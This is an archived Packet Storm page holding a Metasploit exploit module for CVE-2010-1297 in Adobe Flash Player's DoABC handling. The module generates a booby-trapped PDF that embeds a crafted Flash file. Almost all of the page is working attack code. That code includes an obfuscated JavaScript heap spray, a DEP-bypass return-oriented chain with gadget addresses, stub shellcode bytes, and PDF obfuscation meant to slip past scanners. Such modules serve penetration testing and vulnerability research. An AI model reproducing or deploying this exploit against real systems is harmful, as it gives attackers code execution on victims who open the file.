exploit the possibilities

Adobe Flash Player newfucntion Invalid Pointer Use

Adobe Flash Player newfucntion Invalid Pointer Use
Posted Jun 15, 2010
Site metasploit.com

This Metasploit module exploits a vulnerability in the DoABC tag handling within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also vulnerable, as are any other applications that may embed Flash player. Arbitrary code execution is achieved by embedding a specially crafted Flash movie into a PDF document. An AcroJS heap spray is used in order to ensure that the memory used by the invalid pointer issue is controlled. NOTE: This Metasploit module uses a similar DEP bypass method to that used within the adobe_libtiff module. This method is unlikely to work across various Windows versions due a the hardcoded syscall number.

tags | exploit, arbitrary, code execution
systems | windows
advisories | CVE-2010-1297
MD5 | 42e758030e92a737d73848749544de54

Adobe Flash Player newfucntion Invalid Pointer Use

Change Mirror Download
##
# $Id: adobe_flashplayer_newfunction.rb 9477 2010-06-10 20:55:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player "newfunction" Invalid Pointer Use',
'Description' => %q{
This module exploits a vulnerability in the DoABC tag handling within
versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also
vulnerable, as are any other applications that may embed Flash player.

Arbitrary code executiong is achieved by embedding a specially crafted Flash
movie into a PDF document. An AcroJS heap spray is used in order to ensure
that the memory used by the invalid pointer issue is controlled.

NOTE: This module uses a similar DEP bypass method to that used within the
adobe_libtiff module. This method is unlikely to work across various
Windows versions due a the hardcoded syscall number.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Found being openly exploited
'jduck' # Metasploit version
],
'Version' => '$Revision: 9477 $',
'References' =>
[
['CVE', '2010-1297'],
['OSVDB', '65141'],
['BID', '40586'],
['URL', 'http://www.adobe.com/support/security/advisories/apsa10-01.html'],
# For SWF->PDF embedding
['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# Tested OK via Adobe Reader 9.3.0 on Windows XP SP3 (uses flash 10.0.42.34) -jjd
# Tested OK via Adobe Reader 9.3.1 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
# Tested OK via Adobe Reader 9.3.2 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
[ 'Automatic', { }],
],
'DisclosureDate' => 'Jun 04 2010',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end

def exploit
swf_data = make_swf()
js_data = make_js(payload.encoded)

# Create the pdf
pdf = make_pdf(swf_data, js_data)

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(pdf)
end

def make_swf
# load the static swf file
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-1297.swf" )
fd = File.open( path, "rb" )
swf_data = fd.read(fd.stat.size)
fd.close
swf_data
end

def make_js(encoded_payload)

# The following executes a ret2lib using BIB.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0xc0c0c0c,
0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
0xcccccccc,
0x70048ef, # xchg eax,esp / ret
0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
0xcccccccc,
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009033, # ret 0x18
0x7009084, # ret
0xc0c0c0c,
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7001599, # pop ebp / ret
0x10124,
0x70072f7, # pop eax / ret
0x10104,
0x70015bb, # pop ecx / ret
0x1000,
0x700154d, # mov [eax], ecx / ret
0x70015bb, # pop ecx / ret
0x7ffe0300, # -- location of KiFastSystemCall
0x7007fb2, # mov eax, [ecx] / ret
0x70015bb, # pop ecx / ret
0x10011,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70015bb, # pop ecx / ret
0x10100,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70072f7, # pop eax / ret
0x10011,
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
0x7005c54, # pop esi / add esp,0x14 / ret
0xffffffff,
0x10100,
0x0,
0x10104,
0x1000,
0x40,
# The next bit effectively copies data from the interleaved stack to the memory
# pointed to by eax
# The data copied is:
# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
0x700d731, # mov eax, [ebp-0x24] / ret
0x70015bb, # pop ecx / ret
0x9054905a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x5815eb5a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x18891a8b,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x8304c083,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfb8104c2,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xc0c0c0c,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x5ebee75,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xffffe6e8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x909090ff,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90909090,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90909090,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90ffffff,
0x700154d, # mov [eax], ecx / ret
0x700d731, # mov eax, [ebp-0x24] / ret
0x700112f # call eax -- (execute stub to transition to full shellcode)
].pack('V*')

var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)

var_start = rand_text_alpha(rand(100) + 1)

var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)

payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload

escaped_payload = Rex::Text.to_unescape(payload_buf)

js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

js
end

def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end

def ioDef(id)
"%d 0 obj\n" % id
end

def ioRef(id)
"%d 0 R" % id
end


#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end


def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end


def make_pdf(swf, js)

swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

xref = []
eol = "\n"
endobj = "endobj" << eol

# Randomize PDF version?
pdf = "%PDF-1.5" << eol
#pdf << "%" << RandomNonASCIIString(4) << eol

# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<</Type/Catalog")
pdf << nObfu("/Pages ") << ioRef(3)
pdf << nObfu("/OpenAction ") << ioRef(5)
pdf << nObfu(">>")
pdf << eol << endobj

# pages array
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj

# page 1
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")
pdf << nObfu(">>")
pdf << eol << endobj

# js action
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj

# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

# swf annotation object
xref << pdf.length
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")
pdf << nObfu("/Rect [20 20 187 69] ")
pdf << nObfu("/RichMediaSettings ") << ioRef(8)
pdf << nObfu("/RichMediaContent ") << ioRef(9)
pdf << nObfu("/NM (") << swf_name << nObfu(")")
pdf << nObfu(">>")
pdf << eol << endobj

# rich media settings
xref << pdf.length
pdf << ioDef(8)
pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")
pdf << nObfu("/Activation ") << ioRef(10)
pdf << nObfu("/Deactivation ") << ioRef(11)
pdf << nObfu(">>")
pdf << eol << endobj

# rich media content
xref << pdf.length
pdf << ioDef(9)
pdf << nObfu("<</Type/RichMediaContent")
pdf << nObfu("/Assets ") << ioRef(12)
pdf << nObfu("/Configurations [") << ioRef(14) << "]"
pdf << nObfu(">>")
pdf << eol << endobj

# rich media activation / deactivation
xref << pdf.length
pdf << ioDef(10)
pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")
pdf << eol << endobj

xref << pdf.length
pdf << ioDef(11)
pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")
pdf << eol << endobj

# rich media assets
xref << pdf.length
pdf << ioDef(12)
pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")
pdf << eol << endobj

# swf embeded file ref
xref << pdf.length
pdf << ioDef(13)
pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")
pdf << eol << endobj

# rich media configuration
xref << pdf.length
pdf << ioDef(14)
pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")
pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")
pdf << eol << endobj

# rich media isntance
xref << pdf.length
pdf << ioDef(15)
pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")
pdf << nObfu("/Asset ") << ioRef(13)
pdf << nObfu(">>")
pdf << eol << endobj

# swf stream
# NOTE: This data is already compressed, no need to compress it again...
xref << pdf.length
pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
pdf << "stream" << eol
pdf << swf << eol
pdf << "endstream" << eol
pdf << endobj

# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end

pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol
pdf
end

end
Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close